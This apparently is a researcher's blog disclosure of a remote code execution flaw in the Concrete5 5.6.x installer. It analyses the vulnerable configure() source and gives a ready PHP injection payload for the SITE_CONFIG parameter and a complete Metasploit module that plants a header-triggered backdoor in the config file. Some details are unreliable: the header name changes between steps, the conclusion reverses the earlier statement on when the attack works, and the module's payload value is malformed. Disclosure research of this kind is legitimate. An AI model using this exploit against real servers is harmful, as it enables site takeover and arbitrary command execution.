Concrete5 <= 5.6.3.1(install.php) Remote Code Execution Vulnerability & Exploitation

Hello

I decided to work on Concrete5. I chose concrete5 because I discovered few Reflected XSS vulnerability 2 years ago. At the following part, we will describe issue that cause remote code execution, lets start.

PreCode analysis

Concrete5 has been developed with PHP & MySQL power. So If you want to follow instructions step by step. You should install PHP, MySQL and Apache.

Also, As I did, you need to fetch latest version of concrete5 from github.

cd /tmp
git clone https://github.com/concrete5/concrete5.git
mv concrete5/web /var/www/conc

And final step is IDE.  I have been using PhpStorm. It’s awesome IDE for developers also hacker. We can easily track functions and classes. Of course you can choose what ever you want.

Discovering Phase

Before go further, you need to understand structure of application that you analysis. So I had a look for a while in order to understand that. But I knew where should I focus.

Most application have installation module. Basically application takes form request from person, than validate them all, than finished installation process. In this application cycle, it should write some variables into the configuration files. Like username and password of database management system. here, we have a chance to inject our payload’s codes into the configuration file.

Following POST request’s data captured from browser while i was trying to understand installation process.

# URL 
http://localhost/conc/index.php/install/-/configure/

# POST Variables
locale=
&SITE=test
&uEmail=test%40test.com
&uPassword=qwe123!
&uPasswordConfirm=qwe123!
&DB_SERVER=127.0.0.1
&DB_USERNAME=root
&DB_PASSWORD=qwe123!
&DB_DATABASE=conc
&SAMPLE_CONTENT=standard

Those are our parameters. Now Let’s look source code of installation module. As you can see at up side, function name is configuration.

public function configure() {	
		try {

			$val = Loader::helper('validation/form');
			$val->setData($this->post());
			$val->addRequired("SITE", t("Please specify your site's name"));
			$val->addRequiredEmail("uEmail", t('Please specify a valid email address'));
			$val->addRequired("DB_DATABASE", t('You must specify a valid database name'));
			$val->addRequired("DB_SERVER", t('You must specify a valid database server'));

			$password = $_POST['uPassword'];
			$passwordConfirm = $_POST['uPasswordConfirm'];

			$e = Loader::helper('validation/error');
			$uh = Loader::helper('concrete/user');
			$uh->validNewPassword($password, $e);

			if ($password) {
				if ($password != $passwordConfirm) {
					$e->add(t('The two passwords provided do not match.'));
				}
			}

			if(is_object($this->fileWriteErrors)) {
				$e = $this->fileWriteErrors;
			}

			$e = $this->validateDatabase($e);
			$e = $this->validateSampleContent($e);

			if ($val->test() && (!$e->has())) {

				// write the config file
				$vh = Loader::helper('validation/identifier');
				$this->fp = @fopen(DIR_CONFIG_SITE . '/site_install.php', 'w+');
				$this->fpu = @fopen(DIR_CONFIG_SITE . '/site_install_user.php', 'w+');
				if ($this->fp) {
					$configuration = "<?php\n";
                    $configuration .= "define('DB_SERVER', '" . addslashes($_POST['DB_SERVER']) . "');\n";
					$configuration .= "define('DB_SERVER', '" . addslashes($_POST['DB_SERVER']) . "');\n";
					$configuration .= "define('DB_USERNAME', '" . addslashes($_POST['DB_USERNAME']) . "');\n";
					$configuration .= "define('DB_PASSWORD', '" . addslashes($_POST['DB_PASSWORD']) . "');\n";
					$configuration .= "define('DB_DATABASE', '" . addslashes($_POST['DB_DATABASE']) . "');\n";
					if (isset($setPermissionsModel)) {
						$configuration .= "define('PERMISSIONS_MODEL', '" . addslashes($setPermissionsModel) . "');\n";
					}
					if (is_array($_POST['SITE_CONFIG'])) {
						foreach($_POST['SITE_CONFIG'] as $key => $value) { 
							$configuration .= "define('" . $key . "', '" . $value . "');\n";
						}
					}
					$res = fwrite($this->fp, $configuration);
					fclose($this->fp);
					chmod(DIR_CONFIG_SITE . '/site_install.php', 0700);
				} else {
					throw new Exception(t('Unable to open config/site.php for writing.'));
				}

				if ($this->fpu) {
					Loader::library('3rdparty/phpass/PasswordHash');
					$hasher = new PasswordHash(PASSWORD_HASH_COST_LOG2, PASSWORD_HASH_PORTABLE);
					$configuration = "<?php\n";
					$configuration .= "define('INSTALL_USER_EMAIL', '" . $_POST['uEmail'] . "');\n";
					$configuration .= "define('INSTALL_USER_PASSWORD_HASH', '" . $hasher->HashPassword($_POST['uPassword']) . "');\n";
					$configuration .= "define('INSTALL_STARTING_POINT', '" . $this->post('SAMPLE_CONTENT') . "');\n";
					$configuration .= "define('SITE', '" . addslashes($_POST['SITE']) . "');\n";
					if (defined('ACTIVE_LOCALE') && ACTIVE_LOCALE != '' && ACTIVE_LOCALE != 'en_US') {
						$configuration .= "define('ACTIVE_LOCALE', '" . ACTIVE_LOCALE . "');\n";
					}
					$res = fwrite($this->fpu, $configuration);
					fclose($this->fpu);
					chmod(DIR_CONFIG_SITE . '/site_install_user.php', 0700);
					if (PHP_SAPI != 'cli') {
						$this->redirect('/');
					}
				} else {
					throw new Exception(t('Unable to open config/site_user.php for writing.'));
				}

			} else {
				if ($e->has()) {
					$this->set('error', $e);
				} else {
					$this->set('error', $val->getError());
				}
			}

		} catch (Exception $e) {
			$this->reset();
			$this->set('error', $e);
		}
	}

Lines 4 – 9 : Input validation for SITE, uEmail, DB_DATABASE, DB_SERVER. There is now way to bypass uEmail validation.

Lines 37 – 76 : It creates configuration files and writes variables into the file.

First of all, if you try to cheat on string there is no way in order to by pass addslashes() function. So we cant inject payloads into the configuration file via DB_USERNAME, DB_PASSWORD, DB_DATABASE. Please look closer on lines 38 – 46 .

Secondarily, we cant inject too via  uEmail, uPassword and SITE. Please look closer on lines 62 – 69.

Finally, SAMPLE_CONTENT looks suitable to our duty which located at line 66. But it validates by line 29. If it fails, it returns error and stop execution before creation of configuration file.

# Line 29
$e = $this->validateSampleContent($e);

# Defination of validateSampleContent
protected function validateSampleContent($e) {
	$pkg = Loader::startingPointPackage($this->post('SAMPLE_CONTENT'));
	if (!is_object($pkg)) {
		$e->add(t("You must select a valid sample content starting point."));
	}
	return $e;
}

Now, let’s look lines 47 – 51.

if (is_array($_POST['SITE_CONFIG'])) {
    foreach($_POST['SITE_CONFIG'] as $key => $value) { 
        $configuration .= "define('" . $key . "', '" . $value . "');\n";
    }
}

There is one more user supplied variables which name is SITE_CONFIG. But remember HTTP Post request of installation process. It wasn’t in request! So we can add it manually.

This codes checks SITE_CONFIG is array or not. If so, add them into the $configuration variables which is content of configuration php file. Also there is no addslashes() function! Yummy.

Some how, developers thought that “If we remove input fields from form body. This part will automatically skip.Because SITE_CONFIG wont exists. So leave these codes alone at there. Maybe we will use them later.”

 EXPLOITATION

As you understand, I kindly want to remind that this vulnerability DONT work  if concrete5 has already been installed.

Frameworks usually sanitize POST and GET variables on system wide. Deliver command to application via POST or GET is can cause exploitation fails. Also POST, GET and most common HTTP Headers like COOKIE are can be under investigation by Web Application Firewalls. In my opinion, best way is custom HTTP Header Parameter.

In order to return True on line 47. I defined SITE_CONFIG as an array and put PHP payload into that variables.

# URL
http://localhost/conc/index.php/install/-/configure/

# Post Data
locale=
&SITE=test
&uEmail=test%40test.com
&uPassword=qwe123!
&uPasswordConfirm=qwe123!
&DB_SERVER=127.0.0.1
&DB_USERNAME=root
&DB_PASSWORD=qwe123!
&DB_DATABASE=conc
&SAMPLE_CONTENT=standard
&SITE_CONFIG[]=');error_reporting(0);system(base64_decode($_SERVER[HTTP_RCE]));$f=array('

When I send that request to the Concrete5 It will start installation process immediately.

concrete5

Installation proccess finished. Now, Lets see content of configuration file which is located at config/site.php .

<?php
define('DB_SERVER', '127.0.0.1');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'qwe123!');
define('DB_DATABASE', 'conc');
define('0', '');error_reporting(0);system(base64_decode($_SERVER[HTTP_CMD]));$f=array('');

Yay!

concrete5_exec Metasploit Module

Also I wrote metasploit modules in order to exploit that vulnerability.

Here is the screenshot of the modules.

concrete5 metasploit

You can get exploit codes from here. https://github.com/mmetince/metasploit-framework/blob/concrete5_install_exec/modules/exploits/unix/webapp/concrete5_install_exec.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Concrete5 <= 5.6.3.1 (install.php) Remote Code Execution Exploitation',
      'Description'    => %q{
        This module exploits a installation processes of Concrete5. 
        Exploit wont work  if concrete5 install has already been installed.
        This modules exploits configure() method of installation class. That method is writing configuration defination
        into the file.
      },
      'Author'         =>
        [
          'Mehmet Dursun Ince <mehmet@mehmetince.net>', # Vulnerability Author and Exploit Development
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [          
          [ 'URL', 'https://www.mehmetince.net/concrete5-remote-code-execution-vulnerability-exploitation/' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        => [ ['Concrete5 <= 5.6.3.1', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 5 2014'
      ))

      register_options(
        [
          OptString.new('TARGETURI', [ true, "The Path", "/"]),
          OptString.new('DB_SERVER', [ true, "MySQL server address"]),
          OptString.new('DB_USERNAME', [ true, "MySQL username"]),
          OptString.new('DB_PASSWORD', [ true, "MySQL password"]),
          OptString.new('DB_DATABASE', [ true, "MySQL name of database", "concrete5"]),

        ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s, "index.php/install/-/configure/"),
      'method'  => 'GET'
    })
    if res.code == 200
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("#{peer} - Testing Exploit")
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "#{peer} - Target isn't vulnerable.Maybe Concrete5 has already been installed")
    end
    print_status("#{peer} - Triggering Vulnerability")
    res = send_request_cgi({
          'uri'     =>  normalize_uri(target_uri.path.to_s, "index.php/install/-/configure/"),
          'method'  =>  'POST',
          'vars_post'=>  {
            'locale'      => '',
            'SITE'        => 'Concrete 5 -Test',
            'uEmail'      => 'test@yopmail.com',
            'uPassword'   => '0p3ns0urc3',
            'uPasswordConfirm'  =>  '0p3ns0urc3',
            'DB_SERVER'         =>  @datastore['DB_SERVER'],
            'DB_USERNAME'       =>  @datastore['DB_USERNAME'],
            'DB_PASSWORD'       =>  @datastore['DB_PASSWORD'],
            'DB_DATABASE'       =>  @datastore['DB_DATABASE'],
            'SAMPLE_CONTENT'    =>  'standard',
            'SITE_CONFIG[]'     =>  "SITE_CONFIG[]=');error_reporting(0);eval(base64_decode($_SERVER[HTTP_RCE]));$f=array('"
          }
        })
    # If webpage returns error, it highly possible with wrong DBS credentials
    if ( res.body =~ /<div class="alert alert-error"><button type="button" class="close" data-dismiss="alert">×<\/button>/ )
      print_error("#{peer} -  Please check out DB credentials. Also be sure remote connection is available!")
    end

    # Installation must be start now. Call injected php file to code execution
    # site_install.php is temp file. It will rename to site.php after installation done.
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path.to_s, "config/site_install.php"),
      'headers'   => {
        'Rce' => Rex::Text.encode_base64(payload.encoded)
      }
    })

    if res
      print_error("#{peer} - Payload execution failed: #{res.code}")
      return
    end
  end
end

 

In conclusion

This vulnerability only work if concrete5 has already been installed.

Don’t forget remove useless codes from application.